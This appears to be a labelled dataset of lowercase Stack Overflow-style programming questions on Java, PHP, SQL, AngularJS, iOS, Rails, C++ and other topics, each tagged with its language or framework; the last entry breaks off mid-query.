java: searching deleting and formatting in a text file  i am making a flight reservation system for my course project and i am having problems using stringbuilder which my teacher asked me to use in my code.    i wrote this method to delete a customer s data from a text file which i am using for storing the customer s details and the ticket number i assigned to them now this method takes the ticket number and searches in the text file and delete that entry (line of text file). the text file is formatted in this way   <pre><code>(name +  \t  + socialnum +  \t  + cellnum +  \t  + ticknum +  \n ) </code></pre>   the problem is that when i check the text file manually i see that the file was correctly formatted before but after running this method it is not.( the last escape sequence i.e  \n  is not being printed to the file).   <pre><code>public static void deletedata(string b) throws filenotfoundexception {     scanner input = new scanner(basic.file); // text file used as database     while (input.hasnext()) {         string a = input.nextline();         a = a.trim();         a = a.touppercase(locale.root);         if (a.contains(b)) {             continue;         }         basic.c.append(a).append( \n ); // c is stringbuilderobj      }     if ((basic.c.tostring()).equals(  )) {         system.out.println( invalid ticket number. );     } else {         try (printwriter out = new printwriter(basic.file)) {             string result = basic.c.tostring();             out.println(result);          }     } </code></pre>,java
unhandled exception type ioexception in class variables  i have a class where i am populating variable values as below   <pre><code>public class jsondbwriter{    // jdbc driver name  database url  database credentials   private static final string jdbc_driver = readpropertiesfile( jdbc_driver );     private static final string db_url =  readpropertiesfile( db_url );     private static final string user =  readpropertiesfile( user );   private static final string pass =  readpropertiesfile( pass );      public static void main(string[] args) { </code></pre>   however  java compiler is giving error  unhandled exception type ioexception  my readpropertiesfile throws ioexception.,java
problem to add access to rsa key container  i have two administrator users on my machine. with the first one i am creating a machine level key:    aspnet_regiis -pc  netframeworkconfigurationkey  -exp    and i see it created in  c:\documents and settings\all users\application data\microsoft\crypto\rsa\machinekeys .    now i am trying to add access privileges with the second one:     c:\windows\microsoft.net\framework\v2.0.50727\aspnet_regiis.exe  -pa netframeworkconfigurationkey  xxx  adding acl for access to the rsa key container... the rsa key container was not found. failed!    am i doing something wrong,.net
making a visual bar timer for iphone  i ve looked up all results for progress bars and changing the width of an image but it only refers to scaling  and the progress bars aren t customizable so that they fit other functions or design schemes... unless i missed that part. i m trying to make a bar timer that crops off of the right over a period of time. i tried using an nstimer so that it would subtract from a value each time its function is called.  the timerbar function gets called as a result of another timer invalidating and it works. what doesn t work is that the width isn t changing just the position. further more i keep getting values like inf and 0 for power and pwrbarwidth i was sure that the changes would occur when mult was plugged into the equation. it seems like casting mult as an int is causing problems but i m not sure exactly how.   <pre><code>int pwrbarmaxwidth = 137; int pwrbarwidth 0; int limit = 1; float mult; float power = 0;    -(void) timerbar:(nstimer *)bartimer {    if(!waitforplayer) {    [bartimer invalidate];   }  if(mult &gt; 0.0) {   mult -= 0.001 * [colorchoices count];   if(mult &lt; 0.0) {     mult = 0.0;    }   }   power =  (mult * 10) / pwrbarmaxwidth;   pwrbarwidth = (int)power  % limit; // causes the bar to repeat after it reaches a certain point  //at this point however the variable power is always  inf  and pwrbarwidth is always 0.    [powerbar setbounds:cgrectmake(powerbar.frame.origin.x             powerbar.frame.origin.y pwrbarwidth 20)]; //supposed to change the crop of the bar } </code></pre>   any reason why i m getting inf as a value for power  0 as a value for pwrbarwidth  and the bar itself isn t cropping   if this question is a bit vague i ll provide more information as needed.,iphone
ng-show based on select list  i am trying to get items to only show up if something is selected in a select list. i am trying something like this    <pre><code>&lt;input ng-show= mydropdown==    type= text &gt; </code></pre>   i basically want logic saying if the drop down has anything selected  show this ^. i found that example for specifying the option selected  however i would just like do say if anything is selected show  and if nothing has been selected  hide.    there is a catch  however  these drop downs will be re-generated with $http based on other clicks  and it would be ideal if this was done that the text would hide. any ideas  thanks!,angularjs
sql latest changes  i need the latest changes made to field_name col. for example below  under col key_2  3332p6; field_name  submission   was modified 3 times within my extract date. although not duplicate i need just the latest modification which is unique_rid 47271398. is that possible     <a href= https://i.stack.imgur.com/hfllc.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hfllc.jpg  alt= enter image description here ></a>   <pre><code>select key_2         left (replace(key_2   &amp;     )  4) project_code         (case when len(replace(key_2   &amp;     ))  &gt;4 then right(replace(key_2   &amp;     )  2)    else            end as project_phase           field_name  audit_old_value  audit_new_value          unique_rid  audit_date  audit_time   from tbadt_audit_trail   where key_1 like  wkschart  and        audit_date between  2017-06-13  and  2017-06-16   order by key_2  field_name </code></pre>   i know that it works in vba but i m fairly new to sql. appreciate your help.,sql
testing ios app going into foreground  i have a strange behavior where my app enters a black screen state when coming back into foreground from the ipod being put on  sleep  (pressing the  hold  button). unfortunately  i am unable to set breakpoints because every time the app goes into the background while the debugger is attached  it crashes on the main loop. this behavior also occurs when i press home  and then navigate back to the app. should i be able to set breakpoints that trigger even when the app is in the background  what is the strategy for testing these app lifecycle changes,ios
how to get rid of bunch of ifs  considering such task:    you are driving a little too fast  and a police officer stops you. write code to compute the result  encoded as an int value: 0=no ticket  1=small ticket  2=big ticket. if speed is 60 or less  the result is 0. if speed is between 61 and 80 inclusive  the result is 1. if speed is 81 or more  the result is 2.     the first hat comes to mind is bunch of ifs like:   <pre><code>def caught_speeding(speed):   if speed &gt; 80:       return 2   elif speed &gt; 60:       return 1             else:       return 0 </code></pre>   if there a way to achieve same result ith less number of lines,python
how to use checkbox in ruby on rails  i have a code of checkbox below in ruby on rails:   <pre><code>&lt;%= check_box(:monday {:id =&gt;  monday  :value =&gt;  monday }) %&gt; </code></pre>   but  it shows only the checkbox but not shows its text i.e  monday .    so what should i do to display the text of checkbox  kindly suggest me  waiting for reply. thanks,ruby-on-rails
how to calculate an sql max() for any n-second duration within a certain timeframe  i need to answer a question like this:   <blockquote>    for each <strong>user</strong>  what is the <strong>most items</strong> that user viewed in any 60 second   time frame between <code>start_timestamp</code> and <code>end_timestamp</code>   </blockquote>   <em><strong>the 60 second time frame is a sliding window</em></strong>. it s not just a matter of  items viewed  counts for each whole minute. also  60 seconds was just an example  it should work for any number of seconds.    my data is stored like this:   <pre><code>-- timestamped log of users viewing items create table user_item_views (   user_id integer    item_id integer    timestamp timestamp ); </code></pre>   doing it for each whole minute is easy enough  just format timestamp to something like <code>yyyy-mm-dd hh:mm</code> and do a count grouped by that formatted timestamp and the user_id.    doing it for a sliding window  i have no idea how to approach.    if this would be easier outside of sql  i am open to exporting the data to another format  or using another language.    desired output is something like:   <pre><code>user id  max items viewed in n seconds  between start and end. ...      ... ...      ... ...      ... </code></pre>   how can i do this,sql
php extract() not finishing before later code needs results  i have some php at the top of my page that reads default css values from a database:   <pre><code>$query =                 select                  width                  height                  fontfamily                  fontsize                  color                  backgroundcolor                  lineheight                  margintop                  marginleft                  textalign                  bordercolor                  borderwidth                  boxshadow                  borderradius                  last_url_published                  color1                  color2                  color3                  color4                  color5                  color6               from                  users               where                  id = :id                ;       $query_params = array (                             :id  =&gt; $_session[ user ][ id ]     );  //  echo( &lt;br /&gt;index.php: query for defaults is: $query );     try     {             $stmt = $db-&gt;prepare($query);             $result = $stmt-&gt;execute($query_params);     }     catch(pdoexception $ex)     {         die( index.php line   . __line__ .  . failed to read defaults from users table:    . $ex-&gt;getmessage());     }      $stmt-&gt;setfetchmode(pdo::fetch_assoc);     $row = $stmt-&gt;fetch();       extract($row);      // produces $width  etc.   //  echo( &lt;br /&gt;killing time here ); </code></pre>   in the html i have   <pre><code>&lt;body&gt;  .cell_db {     width: &lt; =$width &gt;;     height: &lt; =$height &gt;;     background-color: &lt; =$backgroundcolor &gt;;     border-color: &lt; =$bordercolor &gt;;     border-width: &lt; =$borderwidth &gt;;     border-radius:&lt; =$borderradius &gt;;     box-shadow:&lt; =$boxshadow &gt; } </code></pre>   what i m seeing is that if i don t put the   <pre><code>         echo( &lt;br /&gt;killing time here ); </code></pre>   line in after the extract($row) statement   the css values - like width :  don t get assigned.the $width value from the extract($row)  for example  is apparently not ready when the css lines are evaluated by  php.  but inserting the delay from the echo statement provides the time needed.  does anyone understand what s going on here and how i can make this work     thanks    addendem:    people below asked to see all of the code from php to html  so here it is:   <pre><code>&lt; php  //phpinfo(); ini_set( display_errors   1); error_reporting(e_all); include ( functions.php );  // so we can call our showarray()       // first we execute our common code to connect to the database and start the session      require( common.php );  //  showarray($_session   index.php  line   . __line__ .   session data: );       $_session[ landingpage ] = $_server[ php_self ];  // login will redirect to here  either index.php or indexx.php  after password matches      // at the top of the page we check to see whether the user is logged in or not.      if(empty($_session[ user ]))     {         // if they are not  we redirect them to the login page.          header( location: login.php );          // remember that this die statement is absolutely critical.  without it          // people can view your members-only content without logging in.          die( redirecting to login.php );     }      // get box default style for this user from the database // update default styles     $query =                 select                  width                  height                  fontfamily                  fontsize                  color                  backgroundcolor                  lineheight                  margintop                  marginleft                  textalign                  bordercolor                  borderwidth                  boxshadow                  borderradius                  last_url_published                  color1                  color2                  color3                  color4                  color5                  color6               from                  users               where                  id = :id                ;       $query_params = array (                             :id  =&gt; $_session[ user ][ id ]     );  //  echo( &lt;br /&gt;index.php: query for defaults is: $query );     try     {             $stmt = $db-&gt;prepare($query);             $result = $stmt-&gt;execute($query_params);     }     catch(pdoexception $ex)     {         die( index.php line   . __line__ .  . failed to read defaults from users table:    . $ex-&gt;getmessage());     }      $stmt-&gt;setfetchmode(pdo::fetch_assoc);     $row = $stmt-&gt;fetch();      extract($row);      // produces $width  etc.       sleep(1);  //  echo( &lt;br /&gt;killing time here );   // open_color picker  - in color.js // open color panel  - in color.js    &gt; &lt;!doctype html&gt;  &lt;!-- html5  --&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;mywebsheet&lt;/title&gt;    &lt;script src= //ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js &gt;&lt;/script&gt; &lt;script src= //ajax.googleapis.com/ajax/libs/jqueryui/1.10.2/jquery-ui.min.js &gt;&lt;/script&gt; &lt;script src= js/globals.js &gt;&lt;/script&gt;  &lt;!-- load these before editbox.js and color.js so they can see them when compiled  --&gt; &lt;script src= js/weebly_editbox.js &gt;&lt;/script&gt; &lt;script src= js/color.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/jquery.form.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/jquery.jcrop.js &gt;&lt;/script&gt; &lt;script src= http://www.mapquestapi.com/sdk/js/v7.0.s/mqa.toolkit.js key= fmjtd%7cluub2h0z21%2c7a%3do5-9utaqr &gt;&lt;/script&gt;  &lt;link rel= stylesheet  type= text/css  href= http://code.jquery.com/ui/1.10.2/themes/smoothness/jquery-ui.css  /&gt;  &lt;!-- &lt;link rel= stylesheet  type= text/css  href= css/reset.css  /&gt; --&gt; &lt;link rel= stylesheet  type= text/css  href= css/jquery.jcrop.css  /&gt;    &lt;!-- ***************************************************************************************************** --&gt; &lt;!--                                                styles                                                 --&gt; &lt;!-- ***************************************************************************************************** --&gt;  &lt;style type= text/css &gt;   /* style top */  body {      /* style wings  wings style  body color*/        height:4000px;      background-color:&lt; php echo ($_server[ php_self ] ==  /indexx.php    white  :  #165e3d ) &gt;;       background-color:#fff;     background-color:#d44;  /* change to make sure a new index.php is being uploaded  */     margin:0;     padding:0px;  /* keeps everything 10px away from walls  */  } /* a {     cursor : pointer; }  */  p {     /*  margin-top: 10px;  */ }   #wrapper {     width:1024px;     height:800px;     position: absolute;     left:50%;                   /* puts left edge of wrapper at mid-point of viewport   */     margin-left: -512px;        /* shifts wrapper left half of its width  */     background-color:transparent; } .cell_base {     position:absolute;     z-index:3;     border-style: solid;     display:none; }  .cell_db {     width: &lt; =$row[ width ] &gt;;     height: &lt; =$row[ height ] &gt;;     background-color: &lt; =$backgroundcolor &gt;;     border-color: &lt; =$bordercolor &gt;;     border-width: &lt; =$borderwidth &gt;;     border-radius:&lt; =$borderradius &gt;;     box-shadow:&lt; =$boxshadow &gt; } .cellcontent_db {     font-family: &lt; =$fontfamily &gt; ;     margin-top: &lt; =$margintop &gt;;     margin-left: &lt; =$marginleft &gt;;     font-size: &lt; =$fontsize &gt;;     color: &lt; =$color &gt;;      line-height: &lt; =$lineheight &gt;;     text-align: &lt; =$textalign &gt;; } </code></pre>,php
checkbox filter not working  i have this code which i grabbed from stackoverflow  and i changed the form method form post to get and it is not working for me. when i check on the boxes the page gets refreshed and a query is called. however the query does not return any rows  even if i have rows in the table. any ideas     <strong>the html:</strong>   <pre><code>&lt;script&gt; $(function() {     $( .checkbox ).on( change  function(){         $( #form ).submit();     }); &lt;/script&gt; &lt;form id= form  method= get  action=  &gt;     &lt;h4&gt;condition&lt;/h4&gt;     &lt;input type= checkbox  name= new  class= checkbox  &lt; =(isset($_get[ new ])   checked :  ) &gt;/&gt; new&lt;br/&gt;     &lt;input type= checkbox  name= used  class= checkbox  &lt; =(isset($_get[ used ])   checked :  ) &gt;/&gt; used&lt;br/&gt; &lt;/form&gt; </code></pre>   <strong>the php:</strong>   <pre><code>if (isset($_get[ new ])) {     $arguments[] =  `condition` like  %new%  ; }  if (isset($_get[ used ])) {     $arguments[] =   condition like  %use%   ; }    if( ! empty($arguments)) {     $str = implode(  or   $arguments);     $fetch = $mydb-&gt;prepare( select * from table where username =   and   order by id desc );     echo $mydb-&gt;error;     $fetch-&gt;bind_param( ss   $username  $str);     $fetch-&gt;execute();     $result = $fetch-&gt;get_result();     //$result-&gt;num_rows gives me 0 in this case } else {     $fetch = $mydb-&gt;prepare( select * from table where username =   order by id desc );     $fetch-&gt;bind_param( s   $username);     $fetch-&gt;execute();     $result = $fetch-&gt;get_result();     //this one works } while ($row = $result-&gt;fetch_assoc()) {     //echo some rows. } </code></pre>,php
is there a way i can pass in arguments to $http as part of an object   i am using the following call:   <pre><code>     $scope.retrieve = function () {           $resource( /api/test/retrieve )              .query({                  subjectid: $scope.config.subjectid                   examid: $scope.config.examid                   userid: $scope.config.createdbyid              }               function (result) {                  $scope.grid.data = angular.copy(result);              }            function () {               $scope.grid.data = null;           });      }; </code></pre>   is there a way that i could pass in the arguments through an object like this and use an $http call instead of a $resource.  also how could i move the success and error code blocks to there own functions,angularjs
rails 4.0 and dynamic fields  so i m re-writing/upgrading a 3.0 application that uses dynamic fields based on this pro railscast <a href= http://railscasts.com/episodes/403-dynamic-forms  rel= nofollow >http://railscasts.com/episodes/403-dynamic-forms</a>.     the way that it loads the dynamic fields is through the following code:    <pre><code>  &lt;%= f.hidden_field :tour_type_id %&gt;    &lt;%= f.fields_for :options  openstruct.new(@trip.options) do |builder| %&gt;      &lt;% @trip.tour_type.type_fields.where(:variable =&gt; false).each do |field| %&gt;            &lt;%= render  type_fields   field: field  f: builder %&gt;       &lt;% end %&gt;     &lt;% end %&gt; </code></pre>   this is rendering the html correctly.     when i execute a create through the console the hash i m passing in for :options is saving correctly. however  when i submit the values through  the form it saves the value of the hash as nil.    i m thinking it s possibly because of the strong params i have in the controller.    <pre><code>  def trip_params      params.require(:trip).permit(:options =&gt; {:id =&gt; :value})   end </code></pre>   i also tried   <pre><code>  def trip_params      params.require(:trip).permit(:options =&gt; {})   end </code></pre>   the params look okay in the rails server log  but somehow before the update occurs the value for the options is being set to nil    <pre><code>  processing by tripscontroller#update as html   parameters: { utf8 =&gt; ✓    authenticity_token =&gt; ...    trip =&gt;{ options =&gt;{ 1 =&gt; 400 }}   commit =&gt; update trip    id =&gt; 1 }   sql (1.0ms)  update  trips  set  updated_at  = $1   options  = $2 where  trips . id  = 1  [[ updated_at   mon  26 aug 2013 05:13:35 utc +00:00]  [ options    --- !ruby/hash:actioncontroller::parameters\n 1 : \n ]] </code></pre>   i also added the serialize action to the model    <pre><code> class trip &lt; activerecord::base    serialize :options  hash  end </code></pre>   i don t really know why this code isn t working in rails v 4  ruby v 1.9.3.     this code is modeled off of the dynamic forms railscast.     edit:     i tried the solution in outlined here <a href= http://guides.rubyonrails.org/action_controller_overview.html#outside-the-scope-of-strong-parameters  rel= nofollow >http://guides.rubyonrails.org/action_controller_overview.html#outside-the-scope-of-strong-parameters</a>   <pre><code>def trip_params   params.require(:trip).permit(     :admin_name       :brochure_title       :description       :organized_by       :start_date       :end_date       :tour_type_id       :pay_by       :extension   ).tap do |whitelisted|     whitelisted[:options] = params[:trip][:options]   end end </code></pre>   and i m now getting a found unpermitted parameters :options error.,ruby-on-rails
uisearchbar height and width issue  i have implemented uisearchbar in uisearchcontroller which is placed inside a uiview. but the searchbar doesn t fit correctly in ipad..in iphone   it works correctly by setting sizetofit and the frame.size.width as per the stack overflow answers. please help me to work with ipad also. i followed the answer in this link - <a href= https://stackoverflow.com/questions/31283523/display-uisearchcontrollers-searchbar-programmatically >display uisearchcontroller&#39;s searchbar programmatically</a>   <pre><code>var pickupresultsviewcontroller: gmsautocompleteresultsviewcontroller  var pickupsearchcontroller: uisearchcontroller   pickupresultsviewcontroller = gmsautocompleteresultsviewcontroller() pickupresultsviewcontroller .delegate = self  pickupsearchcontroller = uisearchcontroller(searchresultscontroller: pickupresultsviewcontroller) pickupsearchcontroller .searchresultsupdater = pickupresultsviewcontroller  pickupsearchcontroller .searchbar.placeholder =  from:  pickupview.addsubview((pickupsearchcontroller .searchbar)!) pickupsearchcontroller .searchbar.sizetofit() // for some reason  the search bar will extend outside the view to the left after calling sizetofit. this next line corrects this. pickupsearchcontroller .searchbar.frame.size.width = pickupview.frame.size.width  definespresentationcontext = true pickupsearchcontroller .hidesnavigationbarduringpresentation = false </code></pre>,ios
can t horizontally center textview  i m new to android and i m trying to create a simple textview thingy. i can t horizontally center it  though. here s my main.xml:    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:orientation= horizontal      android:layout_width= fill_parent      android:layout_height= fill_parent  &gt;      &lt;textview         android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_gravity= center          android:gravity= center          android:text= @string/text          android:textsize= 45sp  /&gt;  &lt;/linearlayout&gt; </code></pre>   <img src= https://i.stack.imgur.com/utdj2.png  alt= enter image description here >,android
looking if a tuple is in another tuple  i am taking the mit opencourseware <em>6.034 artificial intelligence</em> without guidance and i was hoping someone could look at my code for mistakes  redundancies  and other awkward sections. i don t have any formal education on computer science  so i would appreciate very much any tips. following is the exercise and my code. thank you in advance.   <blockquote>    count_pattern(pattern lst)  which counts the number of times a certain   pattern of symbols appears in a list  including overlaps. so   count_pattern( ( a    b )  ( a    b    c    e    b    a    b    f ))   should return 2  and count_pattern(( a    b    a )  ( g    a    b      a    b    a    b    a )) should return 3.  </blockquote>   solution   <pre><code>def count_pattern(pattern  lst):     count = 0     positionsubset = 0     subsets = []      for positionset in range(len(lst) - 1):         temp = ()          while positionsubset &lt; len(pattern):             temp += (lst[positionset] )             positionsubset += 1             positionset += 1          positionsubset = 0;         subsets.append(temp)      for subset in subsets:       if subset == pattern:         count += 1      return count </code></pre>,python
items disappearing from array within array  i create a nsmutablearray that i need as long as my app lives  lets call it suseranarray  just after the @implementation of my main class. this array will hold several objects of a class called vassal. a vassal is simply:    1) a nsmutablestring 2) another nsmutablestring 3) a nsmutablearray 4) another nsmutable array    each vassal created is also needed for the life of the app  and they never change.    these objects are made as (retain) properties in an .h file  synthesized in the .m file  and each given an alloc+init whenever the object vassal is created during the init function. each vassal has data filled in and stored in the suzerain array. the 3rd item always has several elements  and after a bug appeared  i put a line to check if it is ever empty  but it never is  and life is good.    now  later on when a certain vassal object is needed  we try to access its 3rd property to fetch the data in there  and sometimes that array empty... i checked to see if it disappeared somehow  but it is always there on the debug  carrying a nice address like 0x2319f8a0 which makes sense since the nsmutablestring just above it is at address 0x2319fb40 - (i was expecting 00000000 after a lot of headache). what is happening  i my head  i am creating an retained objects  which retains data put in by default  and that object is put inside another  but somehow the data inside the array vanishes. what possible scenario could lead to this  thank you for your time :)    note: the last array currently just holds one item at this stage of development  and curiously enough  that one item is never missing  despite the two arrays being  brothers    <pre><code>vassal.h @interface vassal : nsobject @property  (retain) nsmutablestring *wordbody; @property  (retain) nsmutablestring *wordcode; @property   (retain) nsmutablearray *wordrelations; @property   (retain) nsmutablearray *wordlinks; @end  vassal.m @implementation vassal:nsobject @synthesize wordbody; @synthesize wordcode; @synthesize wordrelations; @synthesize wordlinks; -(nsobject*) init {     if(self=[super init])     {         wordbody=[[nsmutablestring alloc] init];         wordcode=[[nsmutablestring alloc] init];         wordrelations=[[nsmutablearray alloc] init];         wordlinks=[[nsmutablearray alloc] init];     }     return self; }  //somewhere in suseran: -(void)fillstuff {     ...     vassal *vassal=[vassal new];     for (int i=0;i&lt;[originaldatastring length];i++)     {         ...         [vassal.wordrelations addobject:anitem];         ...     }     int errortest=[vassal.wordrelations count];     if (errortest==0)     {          //breakpoint here. program never comes here     }     [bigarrayofvassals addobject:vassal]; } //these arrays are never touched again but here: -(void) getvassalstuff:(nsmutablestring*)codeofdesiredvassal {     vassal *avassal;     for (int i=0;i&lt;[bigarrayofvassals count];i++)     {             avassal=bigarrayofvassals[i];             if ([codeofdesiredvassal isequaltostring:avassal.wordcode)             {                   int errortest=[avassal.wordrelations count];                   if (errortest==0)                   {                          //yay! this breakpoint sometimes is hit  sometimes not                           //depending on code s mood. why is this happening to me  : (                   }             }     } } </code></pre>,objective-c
angular directive doesn t load template in ie8  angular version: 1.2.6    all of my directives (example below) fail to make a request for their templates in ie8. i ve got charles proxy running to see the network requests and it doesn t make a request. i ve tried changing the path to the templates. i m not sure what to do as it works if the content is set using the  template  property but i can t put all the markup into the directives. that would be rubbish.    <pre><code>app.directive( bbcontent   function(paths) {     return {       restrict:  a         replace: true        scope: true        templateurl:  /angular/partials/content_main.html      };   }); </code></pre>   additional note: it s not just directives i ve worked out. ie8 fails to make a request for any resource i.e ng-include doesn t work either.   <pre><code>&lt;div ng-include=  /angular/partials/content_main.html  &gt;&lt;/div&gt; </code></pre>   the only way i can get it to work is using ng-template but that s not what i want to do at the moment. the option below works.    <pre><code>&lt;script type= text/ng-template  id= /angular/partials/content_main.html &gt; </code></pre>,angularjs
c++ mathematical issue  so on my final project  a black jack and poker simulator using inheritance from a cards class  we have to keep track of the user s bet and total money. however  in my code  it does very strange things. for example: if your total money was 1000000000 dollars and you bet 100 and won back 200 your new total money is now equal to 199 dollars    my program goes back and forth from doing this  and not doing this. it s maddening and i don t know why it s happening. the following is my main function  and my two functions that handle each poker game. if anyone thinks more code is needed to answer  though i ll gladly include class headers and implementation files. thanks to all who may help! the following is my main functions  and the two functions to handle each game:   <pre><code>unsigned int handlepoker(unsigned int); unsigned int handleblackjack(unsigned int); //main function: //asks the user what game they want to play //then calls a function for the appropriate //game chosen int main() {//two choices: //one for quitting the program //the other for whichever game they want     char yesorno;     char choice;     unsigned int totalmoney;     cout&lt;&lt;  please enter a starting amount to bet with &lt;&lt;endl;     cin&gt;&gt;totalmoney;     cout&lt;&lt; would you like to play  &lt;&lt;endl;     cout&lt;&lt; enter  y  for yes and  n  for no &lt;&lt;endl;     cin&gt;&gt;yesorno;     do{         //ask the user which game they want         cout&lt;&lt; would you like to play poker or black jack  &lt;&lt;endl;         cout&lt;&lt; input  1  for poker and  0  for blackjack &lt;&lt;endl;         cin&gt;&gt;choice;         if(choice ==  1 )         {             totalmoney = handlepoker(totalmoney);         }//end if         else if(choice ==  0 )         {             totalmoney = handleblackjack(totalmoney);         }//end else if        else        {             cout&lt;&lt; i m sorry  the input you entered was invalid &lt;&lt;endl;             cout&lt;&lt; please try again &lt;&lt;endl;             cin.clear();         }//end else         cout&lt;&lt; would you like to try again  &lt;&lt;endl;         cout&lt;&lt; ( y  for yes  or  n  for no) &lt;&lt;endl&lt;&lt;endl;         cin&gt;&gt;yesorno;    }while(yesorno ==  y  || yesorno ==  y ); //end do while loop    return 0; }//end int main   //handle poker:   //a void function which takes an //unsigned integer value //the function declares a  poker  object //and uses it s void functions to sim a poker game unsigned int handlepoker(unsigned int tot) {     unsigned int multiply;     unsigned int betmonies;     unsigned int win;     poker round;     cout&lt;&lt; how much do you want to bet  &lt;&lt;endl;     cin&gt;&gt;betmonies;     //if the bet money entered was valid     // we begin playing     if(betmonies &lt; tot)     {//big if begin         //ask if they want a better hand         round.betterhand();          //set the number we multiply your money by          multiply = round.rewardmoney();         //if multiply is 0         //then the user has lost this hand         //we inform them as such  and subtract         //their bet money from their total money         if(multiply == 0)         {             cout&lt;&lt; i apologize  but you seem to have lost &lt;&lt;endl;             cout&lt;&lt; when you lose  your bet is subtracted &lt;&lt;endl;             cout&lt;&lt; your initial balance was:  &lt;&lt;tot&lt;&lt;endl;             //decrement the total             tot = (tot - betmonies);             cout&lt;&lt; your new balance is:  &lt;&lt;tot&lt;&lt;endl;         }//end if     //if multiply is not 0 (assuming it s not negative     //because there s no way it could be)     //we tell them what they ve won  and add it to     //their total money    else    {         win = (multiply*betmonies);         cout&lt;&lt; your initial balance was:  &lt;&lt;tot&lt;&lt;endl;         cout&lt;&lt; your win was &lt;&lt;win&lt;&lt;endl;         //increment the total         tot = (win + tot);         cout&lt;&lt; your new balance is  &lt;&lt;tot&lt;&lt;endl;     }//end else }//big if end  //if the amount entered was not valid //simply tell them  then run the loop again  else {//else begin     cout&lt;&lt; i m sorry  that was not a valid amount of money &lt;&lt;endl;     cout&lt;&lt; please try again &lt;&lt;endl; }//end else round.shuffledeck(); return tot;  }//end handlepoker    //handle black jack: //a function returning an unsigned int //that keeps track of the total money //declares a black jack object //and uses it s member functions to play black jack  unsigned int handleblackjack(unsigned int tot) { blackjack play; unsigned int reward; unsigned int betmoolah;  //ask the user for the bet they want cout&lt;&lt; how much do you want to bet  &lt;&lt;endl; cin&gt;&gt;betmoolah;  //if the bet is less than the total passed by reference //then we can start running the game  if(betmoolah &lt; tot) {      //print the hands dealt in the constructor     play.printhands();      //run the function that lets them hit or stay     //the function contains a do while loop     // so  no looping is required     play.hitorstay();      //we then handle the reward     //which returns an integer type     reward = play.handlereward(betmoolah);      //prints dealer and player s hands fully     play.printhandgame();      //in one of the cases  reward is set to -1     //we use this here:     if(reward &lt; 0 )     {         //if the reward is negative  then          //we subtract the bet money         //then we tell the user their new balance         cout&lt;&lt; your balance was  &lt;&lt;tot&lt;&lt;endl;         cout&lt;&lt; you have lost  so your bet is subtracted &lt;&lt;endl;         tot = (tot-betmoolah);         cout&lt;&lt; your new balance is:  &lt;&lt;tot&lt;&lt;endl;      }//end if         //if the reward is above 0  then we add the reward to the total      else if(reward &gt; 0)      {         cout&lt;&lt; your original balance was  &lt;&lt;tot&lt;&lt;endl;         cout&lt;&lt; your winnings are:  &lt;&lt; reward&lt;&lt;endl;         tot = reward + tot;         cout&lt;&lt; your new balance is:  &lt;&lt;tot&lt;&lt;endl;     }//end else      else     {         cout&lt;&lt; you have lost no money &lt;&lt;endl;         cout&lt;&lt; your balance is still   &lt;&lt;tot&lt;&lt;endl;     }  }//end of the big if     //if the amount of money entered is above total money  //then the money entered isn t valid at all else {     cout&lt;&lt; the amount of money you ve entered is not valid &lt;&lt;endl;     cout&lt;&lt; please try again &lt;&lt;endl; }// end else play.shuffledeck(); return tot;  }//end handleblackjack </code></pre>,c++
c file handling / structure problem  how does one read in a txt file containing names and marks of students and inputting them into an array of structures.   <pre>maximum allowable records are 7: e.g. james 45 mary 70 rob 100</pre>,c
show array as checkboxes  i have this form:   <pre><code>&lt;%= form_for @user  url: admin_user_path(@user.id) do |f| %&gt;       &lt;%= f.label :first_name %&gt;       &lt;%= f.text_field :first_name %&gt;       &lt;br&gt;       &lt;%= f.label :last_name %&gt;       &lt;%= f.text_field :last_name %&gt;       &lt;br&gt;       &lt;%= f.label :tags %&gt;       &lt;%= f.text_field :tags_string %&gt;        &lt;%= f.submit  update   placeholder:  update  %&gt; &lt;% end %&gt; </code></pre>   @user.tags is an array of strings  with possible <code>[ a   b   c ]</code> as possible tags. some users have one  some have all of them...etc.    being <code>tags_string</code> a method which converts tags in a string for having the user editing the form to change it if desired.    however  this is error prone  and i want the user to have the ability to chose between all possible tags having them in checkboxes.     what would i need to do in order to achieve this     thanks.,ruby-on-rails
html tag becomes to uppercase when get innerhtml by webbrowser  all html tags goes to uppercase letters when get body s innerhtml  by webbrowser. how should i do to get the real htmlcode,html
how can i take/catch dynamic parameter(in form of querystring) into .cs file  hello i came up with situation where i am taking value from user in the form  of querystring.   <pre><code> ex: sitename/sample.aspx username=  &amp;userid=   </code></pre>   cs file    <pre><code>string username =   ; if (request.querystring[ username ] != null)       {     username = request.querystring[ username ].tostring(); } string userid =   ; if (request.querystring[ userid ] != null)       {    userid = request.querystring[ userid ].tostring(); } </code></pre>   name of first 2 parameter is fix so name name of querystring is fix.after these 2 parameter user may enter or may not enter any parameter.parameter count can be from 1 to many and  vary in datatype.    <pre><code> ex: sitename/sample.aspx username=  &amp;userid=  &amp;date=  ex: sitename/sample.aspx username=  &amp;userid=  &amp;date=&amp;amount= </code></pre>   how can i take/catch dynamic parameter into .cs file,asp.net
mysql query for calculating stock of books in library  i have three tables tblinventory  tbldisbursement  tblmissinglost. i want to calculate the total stock of books after deducting disbursements and returns for the current day.   <pre><code>select bn.no_of_books_procured       - (count(mis.unr_ret_donated_discareded))      - (count(case when dis.dis_disbursed_return = 1                     then dis.dis_disbursed_return end ) )as stock    from tbl_inventorylibbooks bn   right    join tbl_limgt_booksmissing_lost_adjust mis      on mis.book_name_missingbk = bn.id_inventory   left    join tbllibmange_disbursement dis      on dis.dis_book_name_fk_id = bn.id_inventory  where bn.id_inventory = 14 </code></pre>   on few entries i get the correct answer and the other results entries the query is showing wrong answers. can you kindly provide a solution for this     tblinventory   <pre><code>id  name ----------    1   xyz </code></pre>   consider total books procured=10    tbldisbursement   <pre><code>**booknamefk  disbursed/returned** ----------------------------------------  booknafk1                 1 booknafk2                 0  booknafk3                 1 </code></pre>   where 1=disbursed  and 0=returned    tblmissinglost   <pre><code>**id booknamefk  missng** ----------------------------------------  1    booknafk1    lost 2    booknafk1    lost   ----------------------------------------  </code></pre>   <strong>also check this query</strong>   <pre><code>select 